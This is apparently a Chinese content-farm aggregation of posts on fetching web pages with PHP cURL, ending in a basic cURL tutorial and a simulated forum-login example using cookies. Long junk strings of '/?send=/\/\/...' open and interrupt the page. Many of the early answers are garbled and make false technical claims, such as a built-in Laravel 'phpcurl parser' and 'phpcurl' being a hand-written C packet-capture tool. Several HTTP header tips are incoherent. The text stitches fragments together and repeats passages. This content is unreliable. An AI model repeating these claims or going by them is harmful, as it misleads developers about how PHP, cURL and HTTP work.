/?send=/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\。 查看全部
【phpcurl抓取网页指定内容】解析执行命令的参数解析
phpcurl抓取网页指定内容,给出一个解析执行命令的参数是php,要实现需要一个类servicetask,类定义为myservice,创建一个request来发送指定的内容到它的用户,以及一个curl请求,请求参数里面有结果返回字符串参数类型为curl请求参数lazy方法可以优先抓取路径匹配的内容,解析手动构造数据列表。
curl提供三种方式:正则匹配,
有两种方式。直接用curl生成文件。正则引擎生成。
/?send=/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\。
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl
网站优化 • 优采云 发表了文章 • 0 个评论 • 108 次浏览 • 2022-06-17 10:02
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl需要一个名为curl的对象
phpcurl抓取网页实现request方法可以抓取到相应的json格式数据,但是程序或者jsp页面可能有些局部不透明或者未过滤的html,这种情况下也就没办法从源码提取网页上所有的数据了。
其实laravel框架内置了一个phpcurl解析器,可以用来提取页面所有的json数据。更简单的方法是,只要提供一个定制的curl解析器,然后就能完成网页数据提取了。
phpschemaadmin的request(index:laravelredist)提供了类似curl的request方法来抓取数据。
找个curl就好了呀...无非是在返回的postresponse中继续提取url
建议用request提供的curl方法抓取,再用正则分析重定向。
多半还是要在js中写curl获取数据的方法,当然,如果你开发的页面非常大的话,肯定有别的方法,你还可以用正则去抓取url或者找一些网站可以抓包来抓,但是实际上从最根本上还是使用curl比较好,request是laravel框架的核心方法,很多库都提供了,
看了这么多答案,虽然现在都是使用自己写的swoole,但是还是觉得手工抓还是略麻烦,要是对laravel熟悉的话直接使用laravel提供的curl方法就很简单,好几十行。为了方便,我自己创建了一个单例放在网站上面,先跑一个。把需要抓取的数据保存下来,创建一个单例继承于原来的一个url,只需要获取数据并且解析即可,速度一样很快!。 查看全部
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl
phpcurl抓取网页指定内容并提取格式为:json.所以phpcurl需要一个名为curl的对象
phpcurl抓取网页实现request方法可以抓取到相应的json格式数据,但是程序或者jsp页面可能有些局部不透明或者未过滤的html,这种情况下也就没办法从源码提取网页上所有的数据了。
其实laravel框架内置了一个phpcurl解析器,可以用来提取页面所有的json数据。更简单的方法是,只要提供一个定制的curl解析器,然后就能完成网页数据提取了。
phpschemaadmin的request(index:laravelredist)提供了类似curl的request方法来抓取数据。
找个curl就好了呀...无非是在返回的postresponse中继续提取url
建议用request提供的curl方法抓取,再用正则分析重定向。
多半还是要在js中写curl获取数据的方法,当然,如果你开发的页面非常大的话,肯定有别的方法,你还可以用正则去抓取url或者找一些网站可以抓包来抓,但是实际上从最根本上还是使用curl比较好,request是laravel框架的核心方法,很多库都提供了,
看了这么多答案,虽然现在都是使用自己写的swoole,但是还是觉得手工抓还是略麻烦,要是对laravel熟悉的话直接使用laravel提供的curl方法就很简单,好几十行。为了方便,我自己创建了一个单例放在网站上面,先跑一个。把需要抓取的数据保存下来,创建一个单例继承于原来的一个url,只需要获取数据并且解析即可,速度一样很快!。
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-05-19 15:03
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址、看页面原理、抓包分析包含信息信息库收藏本地抓取等;
phpcurl查询网页内容指定文件名手动修改文件名抓包分析包含信息信息库收藏本地抓取等
实际功能有这么几个:数据库同步同步后更新数据库点查询查询网页内容点响应请求响应查询响应查询成功再通过数据库的sql语句查询关联的数据库响应返回查询结果点计数当一个页面点击多次点击再次请求再次响应返回请求成功返回成功用户ua地址返回浏览器返回成功
phpcurl是针对http的网络抓包工具。phpcurl的的主要实现是由工具人工使用c语言写成的,工具人工命名页面域名,然后工具在本地(用户浏览器)对服务器响应request,在服务器返回response之后curl工具继续下一步的处理。一般php网络抓包时要遵循哪些原则呢?首先你要清楚网络抓包原则,网络抓包原则大家可以看cnocrenderer源码分析。下面列出了一些可能会用到的网络抓包技巧:。
1、还原数据包每一个http请求都是基于http消息的模型,所以要保证响应不会重复(requestheader,这些网上都有很多);如果http请求包(不一定是整包的http消息)里面包含了数据的话,那么最好包含数据的(不要全包)。
2、看http协议头它不是像tcprequest一样的传输数据,是先过http头,再传递给服务器的。所以一般要看清楚你的datatype,你拿不到http协议头,但是你拿到了http协议头就能判断包包含哪些参数,如果这个包是数据字符串就可以在http请求里面体现出来。
3、检查http数据包大小首先看网页的httpresponseheader,看里面的user-agent-authority,它表示http协议头的源码,用于对这些参数进行验证。
4、finge=detailhttpcontent-type是区分post还是get的。所以在发送请求的时候要发送对应的content-type,post用get,post的content-type中不要包含authorization。如果你的content-type是authorization,那么你可以看看对应响应是否是get的。
5、检查httpheaderdataheader,一般都包含了协议头和headerrequest-acceptcontent-typecontent-lengthcontent-lengthcontent-title当然你还要查看content-type的内容,比如说http要求,响应的content-type是content-type不要写空格,如果写错就失败,如果content-type带的header有参数的话,响应就是json。
6、检查http请求和响应第一步是检查传输数据包的格式,因为http协议使用utf-8编码的, 查看全部
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址
phpcurl抓取网页指定内容、自动生成html、看html源代码修改地址、看页面原理、抓包分析包含信息信息库收藏本地抓取等;
phpcurl查询网页内容指定文件名手动修改文件名抓包分析包含信息信息库收藏本地抓取等
实际功能有这么几个:数据库同步同步后更新数据库点查询查询网页内容点响应请求响应查询响应查询成功再通过数据库的sql语句查询关联的数据库响应返回查询结果点计数当一个页面点击多次点击再次请求再次响应返回请求成功返回成功用户ua地址返回浏览器返回成功
phpcurl是针对http的网络抓包工具。phpcurl的的主要实现是由工具人工使用c语言写成的,工具人工命名页面域名,然后工具在本地(用户浏览器)对服务器响应request,在服务器返回response之后curl工具继续下一步的处理。一般php网络抓包时要遵循哪些原则呢?首先你要清楚网络抓包原则,网络抓包原则大家可以看cnocrenderer源码分析。下面列出了一些可能会用到的网络抓包技巧:。
1、还原数据包每一个http请求都是基于http消息的模型,所以要保证响应不会重复(requestheader,这些网上都有很多);如果http请求包(不一定是整包的http消息)里面包含了数据的话,那么最好包含数据的(不要全包)。
2、看http协议头它不是像tcprequest一样的传输数据,是先过http头,再传递给服务器的。所以一般要看清楚你的datatype,你拿不到http协议头,但是你拿到了http协议头就能判断包包含哪些参数,如果这个包是数据字符串就可以在http请求里面体现出来。
3、检查http数据包大小首先看网页的httpresponseheader,看里面的user-agent-authority,它表示http协议头的源码,用于对这些参数进行验证。
4、finge=detailhttpcontent-type是区分post还是get的。所以在发送请求的时候要发送对应的content-type,post用get,post的content-type中不要包含authorization。如果你的content-type是authorization,那么你可以看看对应响应是否是get的。
5、检查httpheaderdataheader,一般都包含了协议头和headerrequest-acceptcontent-typecontent-lengthcontent-lengthcontent-title当然你还要查看content-type的内容,比如说http要求,响应的content-type是content-type不要写空格,如果写错就失败,如果content-type带的header有参数的话,响应就是json。
6、检查http请求和响应第一步是检查传输数据包的格式,因为http协议使用utf-8编码的,
php curl抓取网页指定内容(PHP的CURL功能扩展模块的基本使用开启扩展)
网站优化 • 优采云 发表了文章 • 0 个评论 • 92 次浏览 • 2022-04-20 02:18
PHP的CURL函数扩展模块
1.什么是CURL功能模块
CURL 是一个开源文件传输工具,它使用 URL 语法从命令行工作。广泛用于liinux、unix系统,在DOS和win3下都有移植版本2、win64。
例子:
使用命令:curl //直接抓取网页内容
可以在命令行上进行的CURL操作也可以通过默认支持的CURL扩展使用PHP的函数来实现。
2.为什么要使用 CURL 模块
页面抓取,数据采集,网络爬虫,虽然名字不同,但原理是一样的,都是从别人那里获取内容网站。很多时候,因为想偷懒,就使用php中简单的fopen()、file_get_contents()等文件操作函数来暴力获取直接访问的页面数据。
如果您要抓取具有页面访问控制的页面或需要登录才能访问的页面,此方法将不起作用。因为文件操作函数无法定义客户端描述的文件请求头信息,也无法通过GET、POST等不同的请求方式获取内容。 CURL是一个文件传输工具,使用URL语法工作于命令行模式,支持多种协议,如http、ftp、telnet等。为了解决这个问题,我们可以使用php的扩展库CURL,通常是默认在安装包中,方便我们获取其他网站的内容。
3.CURL 能做什么?
3.1 模拟 POST 和 GET 请求。
3.2实现接口对接(API),数据传输,微信公众平台开放接口接入等。
3.3 实现一些只能在登录状态下才能操作的属性,比如模拟cookies。
4.PHP的CURL模块基本使用
4.1.启用 CURL 扩展
extension=php_curl.dll
4.2 使用 CURL 的基本步骤
初始化
//新建curl资源并赋值给变量$ch
$ch=curl_init();
设置变量
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,"");
执行并获得结果
//执行,获取url内容并输出到浏览器
curl_exec($ch);
释放 CURL 资源
//释放资源
curl_close($ch);
如果想获取内容不输出,可以使用CURLOPT_RETURNTRANSFER参数,将其内容设置为非0或true,即curl_exec()获取的信息将作为字符串返回,而不是直接输出我们把上面的步骤整合成一个函数,只要传递了url链接就可以返回请求的代码网站。
/**
*自定义一个请求url的函数,通过curl实现
****@param$url
****@returnmixed
*/
函数请求($url)
{
//新建curl资源并赋值给变量$ch
$ch=curl_init();
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,$url);
//设置获取内容不输出
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//执行,获取url内容并输出到浏览器
$output=curl_exec($ch);
//添加如下代码检测错误! ! !
如果($输出===假){
echo "请求失败!".curl_error($ch);
}
//释放资源
curl_close($ch);
返回$输出;
}
5.CURL 相关函数选项
通过设置函数curl_setopt()的不同参数,可以得到不同的结果,这就是curl强大的原因。
boolcurl_setopt(resource$ch,int$option,mixed$value)
为 cURL 会话句柄设置选项。
参数
ch
curl_init() 返回的 cURL 句柄。
选项
需要设置的 CURLOPT_XXX 选项。
价值
将在选项选项上设置的值。
介绍一些常用的:
CURLOPT_POST:这是一个非常有用的功能,因为它允许用户使用 POST 请求而不是 GET 请求,这意味着用户可以提交其他形式的页面而无需在表单中填写数据。当它为 TRUE 时将发送一个 POST 请求,类型为:application/x- 查看全部
php curl抓取网页指定内容(PHP的CURL功能扩展模块的基本使用开启扩展)
PHP的CURL函数扩展模块
1.什么是CURL功能模块
CURL 是一个开源文件传输工具,它使用 URL 语法从命令行工作。广泛用于liinux、unix系统,在DOS和win3下都有移植版本2、win64。
例子:
使用命令:curl //直接抓取网页内容
可以在命令行上进行的CURL操作也可以通过默认支持的CURL扩展使用PHP的函数来实现。
2.为什么要使用 CURL 模块
页面抓取,数据采集,网络爬虫,虽然名字不同,但原理是一样的,都是从别人那里获取内容网站。很多时候,因为想偷懒,就使用php中简单的fopen()、file_get_contents()等文件操作函数来暴力获取直接访问的页面数据。
如果您要抓取具有页面访问控制的页面或需要登录才能访问的页面,此方法将不起作用。因为文件操作函数无法定义客户端描述的文件请求头信息,也无法通过GET、POST等不同的请求方式获取内容。 CURL是一个文件传输工具,使用URL语法工作于命令行模式,支持多种协议,如http、ftp、telnet等。为了解决这个问题,我们可以使用php的扩展库CURL,通常是默认在安装包中,方便我们获取其他网站的内容。
3.CURL 能做什么?
3.1 模拟 POST 和 GET 请求。
3.2实现接口对接(API),数据传输,微信公众平台开放接口接入等。
3.3 实现一些只能在登录状态下才能操作的属性,比如模拟cookies。
4.PHP的CURL模块基本使用
4.1.启用 CURL 扩展
extension=php_curl.dll
4.2 使用 CURL 的基本步骤
初始化
//新建curl资源并赋值给变量$ch
$ch=curl_init();
设置变量
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,"");
执行并获得结果
//执行,获取url内容并输出到浏览器
curl_exec($ch);
释放 CURL 资源
//释放资源
curl_close($ch);
如果想获取内容不输出,可以使用CURLOPT_RETURNTRANSFER参数,将其内容设置为非0或true,即curl_exec()获取的信息将作为字符串返回,而不是直接输出我们把上面的步骤整合成一个函数,只要传递了url链接就可以返回请求的代码网站。
/**
*自定义一个请求url的函数,通过curl实现
****@param$url
****@returnmixed
*/
函数请求($url)
{
//新建curl资源并赋值给变量$ch
$ch=curl_init();
//设置网址,其他选项也可以同样设置
curl_setopt($ch,CURLOPT_URL,$url);
//设置获取内容不输出
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//执行,获取url内容并输出到浏览器
$output=curl_exec($ch);
//添加如下代码检测错误! ! !
如果($输出===假){
echo "请求失败!".curl_error($ch);
}
//释放资源
curl_close($ch);
返回$输出;
}
5.CURL 相关函数选项
通过设置函数curl_setopt()的不同参数,可以得到不同的结果,这就是curl强大的原因。
boolcurl_setopt(resource$ch,int$option,mixed$value)
为 cURL 会话句柄设置选项。
参数
ch
curl_init() 返回的 cURL 句柄。
选项
需要设置的 CURLOPT_XXX 选项。
价值
将在选项选项上设置的值。
介绍一些常用的:
CURLOPT_POST:这是一个非常有用的功能,因为它允许用户使用 POST 请求而不是 GET 请求,这意味着用户可以提交其他形式的页面而无需在表单中填写数据。当它为 TRUE 时将发送一个 POST 请求,类型为:application/x-
php curl抓取网页指定内容(curl()、file_get_contents(.class.php这三个远程页面抓取或采集中用到的工具)
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-04-20 02:13
curl()、file_get_contents()、snoopy.class.php是远程页面爬取或采集中用到的三个工具。它们具有相似的功能。它们的优点和缺点是什么?让我们一一介绍:
snoopy.class.php
snoopy是自带fsockopen的自研类,效率更高,不需要服务器特定的配置支持。可以在普通虚拟主机上使用,但是经常出现问题。
Snoopy 是一个 php 类,它模拟浏览器获取网页内容和发送表单的功能。
史努比的特点:
1、获取网页内容fetch
2、获取网页的文本内容(去掉HTML标签)fetchtext
3、获取网页链接,form fetchlinks fetchform
4、支持代理主机
5、支持基本的用户名/密码认证
6、支持设置user_agent、referer(coming)、cookies和header content(header)
7、支持浏览器重定向,控制重定向深度
8、可以将网页中的链接扩展成高质量的url(默认)
9、提交数据并获取返回值
10、支持跟踪 HTML 帧
11、支持重定向时传递cookie
需要php4以上就够了。由于是php的一个类,所以不需要扩展。服务器不支持 curl 时的最佳选择。
file_get_contents()
file_get_contents是fsockopen函数的一个简单封装,效率略低,但是抓取成功率很高,所以我一般在snoopy有问题的时候给他打电话。 5.0.0 增加了对context的支持,有了context,他还可以发送header信息,自定义user agent,referer,cookies都有。 5.1.0 添加了offset和maxlen参数来只读部分文件。
卷曲()
最强大的功能,几乎可以模拟浏览器的方方面面,几乎可以造假。效率也很高,支持多线程,但是需要开启curl扩展。
cURL是一个使用URL语法传输文件和数据的工具,支持多种协议,如HTTP、FTP、TELNET等。PHP还支持cURL库,我们常用于远程页面抓取和采集.
部分cms会使用 curl 功能,需要在服务器上启用 CURL 扩展。下面介绍具体方法:
1、将PHP的ext目录下的三个文件:php_curl.dll、libeay32.dll、ssleay32.dll复制到系统system32目录下。
2、添加 php.ini
;extension=php_curl.dll 去掉分号
3、重启 IIS 或 Apache
4、测试代码 查看全部
php curl抓取网页指定内容(curl()、file_get_contents(.class.php这三个远程页面抓取或采集中用到的工具)
curl()、file_get_contents()、snoopy.class.php是远程页面爬取或采集中用到的三个工具。它们具有相似的功能。它们的优点和缺点是什么?让我们一一介绍:

snoopy.class.php
snoopy是自带fsockopen的自研类,效率更高,不需要服务器特定的配置支持。可以在普通虚拟主机上使用,但是经常出现问题。
Snoopy 是一个 php 类,它模拟浏览器获取网页内容和发送表单的功能。
史努比的特点:
1、获取网页内容fetch
2、获取网页的文本内容(去掉HTML标签)fetchtext
3、获取网页链接,form fetchlinks fetchform
4、支持代理主机
5、支持基本的用户名/密码认证
6、支持设置user_agent、referer(coming)、cookies和header content(header)
7、支持浏览器重定向,控制重定向深度
8、可以将网页中的链接扩展成高质量的url(默认)
9、提交数据并获取返回值
10、支持跟踪 HTML 帧
11、支持重定向时传递cookie
需要php4以上就够了。由于是php的一个类,所以不需要扩展。服务器不支持 curl 时的最佳选择。
file_get_contents()
file_get_contents是fsockopen函数的一个简单封装,效率略低,但是抓取成功率很高,所以我一般在snoopy有问题的时候给他打电话。 5.0.0 增加了对context的支持,有了context,他还可以发送header信息,自定义user agent,referer,cookies都有。 5.1.0 添加了offset和maxlen参数来只读部分文件。
卷曲()
最强大的功能,几乎可以模拟浏览器的方方面面,几乎可以造假。效率也很高,支持多线程,但是需要开启curl扩展。
cURL是一个使用URL语法传输文件和数据的工具,支持多种协议,如HTTP、FTP、TELNET等。PHP还支持cURL库,我们常用于远程页面抓取和采集.
部分cms会使用 curl 功能,需要在服务器上启用 CURL 扩展。下面介绍具体方法:
1、将PHP的ext目录下的三个文件:php_curl.dll、libeay32.dll、ssleay32.dll复制到系统system32目录下。
2、添加 php.ini
;extension=php_curl.dll 去掉分号
3、重启 IIS 或 Apache
4、测试代码
php curl抓取网页指定内容(phpcurl抓取网页指定内容文本里面加上一个post)
网站优化 • 优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-04-18 18:00
phpcurl抓取网页指定内容文本httpheader里面加上一个post://\.php${request_uri}就ok了,如果做为post返回的话,再加上一个options的参数,将request_uri改为post://\.php?params=xxx\.php就可以了.
这个用apache或者nginx就可以了
apache即可http接口文本查询文本解析
找个网页看看是怎么交互的
抓包分析查看
php的话,headerform就可以写参数获取网页信息。
request_uri可以把request_uri设置为post或者get就可以了
用apache和nginx都可以设置参数获取响应内容,这个apache文档有,更新挺快的,nginx没用过。
使用百度爬虫(打开如下链接即可)可以获取,我的当时也是百度爬虫,python用爬虫框架requests库实现的。-dashboard/百度中最近的一篇文章分析数据网址下面的每个请求对应网页的api地址,然后同时获取下来这个api地址对应的网页响应内容。
这种方法不是很常见,但是如果最终需要返回自己想要的内容的话。soeasy!1.用爬虫工具获取相应ip下面的网页响应页面的地址:以下是猎豹爬虫spider的界面2.soeasy!!!spider这个spider还会自动抓取搜索结果页面的js文件!3.然后利用js获取图片内容,一般都是利用jquery+for循环处理js,是正则、正则和正则啊!网页都不会太长的,用正则匹配图片,然后直接替换js中的imgurl就ok啦4.剩下的部分处理处理就可以啦~。 查看全部
php curl抓取网页指定内容(phpcurl抓取网页指定内容文本里面加上一个post)
phpcurl抓取网页指定内容文本httpheader里面加上一个post://\.php${request_uri}就ok了,如果做为post返回的话,再加上一个options的参数,将request_uri改为post://\.php?params=xxx\.php就可以了.
这个用apache或者nginx就可以了
apache即可http接口文本查询文本解析
找个网页看看是怎么交互的
抓包分析查看
php的话,headerform就可以写参数获取网页信息。
request_uri可以把request_uri设置为post或者get就可以了
用apache和nginx都可以设置参数获取响应内容,这个apache文档有,更新挺快的,nginx没用过。
使用百度爬虫(打开如下链接即可)可以获取,我的当时也是百度爬虫,python用爬虫框架requests库实现的。-dashboard/百度中最近的一篇文章分析数据网址下面的每个请求对应网页的api地址,然后同时获取下来这个api地址对应的网页响应内容。
这种方法不是很常见,但是如果最终需要返回自己想要的内容的话。soeasy!1.用爬虫工具获取相应ip下面的网页响应页面的地址:以下是猎豹爬虫spider的界面2.soeasy!!!spider这个spider还会自动抓取搜索结果页面的js文件!3.然后利用js获取图片内容,一般都是利用jquery+for循环处理js,是正则、正则和正则啊!网页都不会太长的,用正则匹配图片,然后直接替换js中的imgurl就ok啦4.剩下的部分处理处理就可以啦~。
php curl抓取网页指定内容(Linux中curl利用URL规则在官网看出curl支持的各种协议 )
网站优化 • 优采云 发表了文章 • 0 个评论 • 125 次浏览 • 2022-04-15 22:21
)
在 Linux 中,curl 是一个文件传输工具,它使用 URL 规则在命令行下工作。可以说是一个非常强大的http命令行工具。它支持文件上传和下载,是一个综合传输工具,但传统上习惯称url为下载工具。
这是 curl 的官方网站。您可以从上面的官方网站下载最新的 curl 版本。同时可以看到curl支持的各种协议(如HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S等)、curl的使用方法、开发支持者以及版本信息官方网站。想进一步了解curl的小伙伴可以去官网搜索自己关心的信息。
命令下载
apt install curl
常用命令
获取网页内容
curl www.jiek.xyz
将网页内容保存到指定文件
我们可以使用 > 符号将输出重定向到本地文件。
curl http://www.jiek.xyz > index.html
您还可以使用 curl 附带的 -o/-O 选项将内容保存到文件中。
注意:使用 -O 选项时,必须确保链接末尾收录文件名,否则 curl 将无法正确保存文件。如果您遇到链接中没有文件名的情况,您应该使用 -o 选项手动指定文件名,或者使用重定向符号。
而且-O不能保存在指定位置。
curl -o [保存的文件名] [url]
curl -o /jiek.txt www.jiek.xyz
网页跳转
某些 URL 会自动重定向。加上 -L 参数,curl 会跳转到新的 URL。
curl -L www.sina.com
输入上面的命令,结果会自动跳转到。
显示响应头信息和网页内容
curl -i www.jiek.xyz
只显示响应头信息
curl -I www.jiek.xyz
查看全部
php curl抓取网页指定内容(Linux中curl利用URL规则在官网看出curl支持的各种协议
)
在 Linux 中,curl 是一个文件传输工具,它使用 URL 规则在命令行下工作。可以说是一个非常强大的http命令行工具。它支持文件上传和下载,是一个综合传输工具,但传统上习惯称url为下载工具。
这是 curl 的官方网站。您可以从上面的官方网站下载最新的 curl 版本。同时可以看到curl支持的各种协议(如HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S等)、curl的使用方法、开发支持者以及版本信息官方网站。想进一步了解curl的小伙伴可以去官网搜索自己关心的信息。
命令下载
apt install curl

常用命令
获取网页内容
curl www.jiek.xyz

将网页内容保存到指定文件
我们可以使用 > 符号将输出重定向到本地文件。
curl http://www.jiek.xyz > index.html
您还可以使用 curl 附带的 -o/-O 选项将内容保存到文件中。
注意:使用 -O 选项时,必须确保链接末尾收录文件名,否则 curl 将无法正确保存文件。如果您遇到链接中没有文件名的情况,您应该使用 -o 选项手动指定文件名,或者使用重定向符号。
而且-O不能保存在指定位置。
curl -o [保存的文件名] [url]
curl -o /jiek.txt www.jiek.xyz


网页跳转
某些 URL 会自动重定向。加上 -L 参数,curl 会跳转到新的 URL。
curl -L www.sina.com
输入上面的命令,结果会自动跳转到。
显示响应头信息和网页内容
curl -i www.jiek.xyz

只显示响应头信息
curl -I www.jiek.xyz

php curl抓取网页指定内容(PHP实现远程模拟登陆最基础的实现功能详解(二))
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-04-15 22:19
实现的功能:
1、远程访问和采集内容
2、实现PHP网页版FTP上传下载
3、实现模拟登录:去一个邮件系统,curl可以模拟cookies
4、 实现接口对接(API)、数据传输等:通过平台发送短信,捕获并传输传输的信息。
5、实现模拟cookies等:有些属性只能在登录状态下操作。
如何使用CURL函数:
PHP默认不支持CURL,需要在php.ini中开启该功能
;extension=php_curl.dll 去掉分号
1 听着,整个操作的第一步就是使用cur_init()函数进行初始化
$curl = curl_init('')
2.使用 curl_setopt() 函数设置选项。
3.设置后执行事务 curl_exec($curl);
4 最后关闭 curl_close();
使用PHP CURL实现传输和获取功能(后传方式):获取远程网页数据
[代码]$user = "admin";$pass = "admin";$curlPost = "user=$user&pass=$pass";$ch = curl_init(); //初始化一个CURL对象 curl_setopt($ch , CURLOPT_URL, "");//设置需要爬取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);//设置curl参数询问是否有结果输出到屏幕,如果为真则不返回假设网页中上面的0被1替换,那么需要回显下一个$data curl_setopt($ch, CURLOPT_POST, 1) ;//post 提交 curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost) ;$data = curl_exec($ch);//运行curl,请求网页 curl_close($ch);[/code][/code]
实现远程模拟登录最基本的部分。
curl还需要配置用户名和密码,但是被浏览器隐藏了。
================================================ === =================================
curl 模拟登录
模拟登录:即使不登录php100论坛,也可以查看相应信息。
分析登录字段--->登录后保持cookie形状--->读取cookie并跳转到相关页面--->抓取次数
1、模拟登录后创建文件保存cookie内容
2、通过读取生成的cookie内容模拟用户登录状态
3、去相关页面获取你需要的东西
tempname 创建一个临时文件
tempnam() 函数创建一个具有唯一文件名的临时文件。如果成功,该函数返回新的临时文件名。失败时返回 false。
tempnam(目录,前缀)
参数说明
dir 必需。指定创建临时文件的目录。
前缀是必需的。指定文件名的开头。
相当于 fopen 烹饪 fwirte 烹饪 fclose
它可以返回一个布尔值。使用第三方登录你的QQ和msn是非常危险的,因为它可以记录你的登录状态,并窃取你的用户名和密码。
使用CURL模拟登录PHP100论坛
1、分析输入框字段名和登录所需字段个数
2、保存cookie模拟登录,获取会员金币数量
代码:
//初始化一个cURL对象 $curl = curl_init();//设置需要爬取的URL curl_setopt($curl, CURLOPT_URL, " ");//设置cURL参数保存结果到字符串或输出到屏幕。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);//运行cURL,请求网页 $data = curl_exec($curl);//关闭URL请求 curl_close($curl);$user = "admin";$pass = "admin100";$curlPost = "user=$user&pass=$pass";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, " ");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);curl_setopt ( $ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);$data = curl_exec($ch);curl_close($ch);?>if($_POST['user']= = "admin"){ echo "";}else{ echo "";}//print_r($_POST);?> 查看全部
php curl抓取网页指定内容(PHP实现远程模拟登陆最基础的实现功能详解(二))
实现的功能:
1、远程访问和采集内容
2、实现PHP网页版FTP上传下载
3、实现模拟登录:去一个邮件系统,curl可以模拟cookies
4、 实现接口对接(API)、数据传输等:通过平台发送短信,捕获并传输传输的信息。
5、实现模拟cookies等:有些属性只能在登录状态下操作。
如何使用CURL函数:
PHP默认不支持CURL,需要在php.ini中开启该功能
;extension=php_curl.dll 去掉分号
1 听着,整个操作的第一步就是使用cur_init()函数进行初始化
$curl = curl_init('')
2.使用 curl_setopt() 函数设置选项。
3.设置后执行事务 curl_exec($curl);
4 最后关闭 curl_close();
使用PHP CURL实现传输和获取功能(后传方式):获取远程网页数据
[代码]$user = "admin";$pass = "admin";$curlPost = "user=$user&pass=$pass";$ch = curl_init(); //初始化一个CURL对象 curl_setopt($ch , CURLOPT_URL, "");//设置需要爬取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);//设置curl参数询问是否有结果输出到屏幕,如果为真则不返回假设网页中上面的0被1替换,那么需要回显下一个$data curl_setopt($ch, CURLOPT_POST, 1) ;//post 提交 curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost) ;$data = curl_exec($ch);//运行curl,请求网页 curl_close($ch);[/code][/code]
实现远程模拟登录最基本的部分。
curl还需要配置用户名和密码,但是被浏览器隐藏了。
================================================ === =================================
curl 模拟登录
模拟登录:即使不登录php100论坛,也可以查看相应信息。
分析登录字段--->登录后保持cookie形状--->读取cookie并跳转到相关页面--->抓取次数
1、模拟登录后创建文件保存cookie内容
2、通过读取生成的cookie内容模拟用户登录状态
3、去相关页面获取你需要的东西
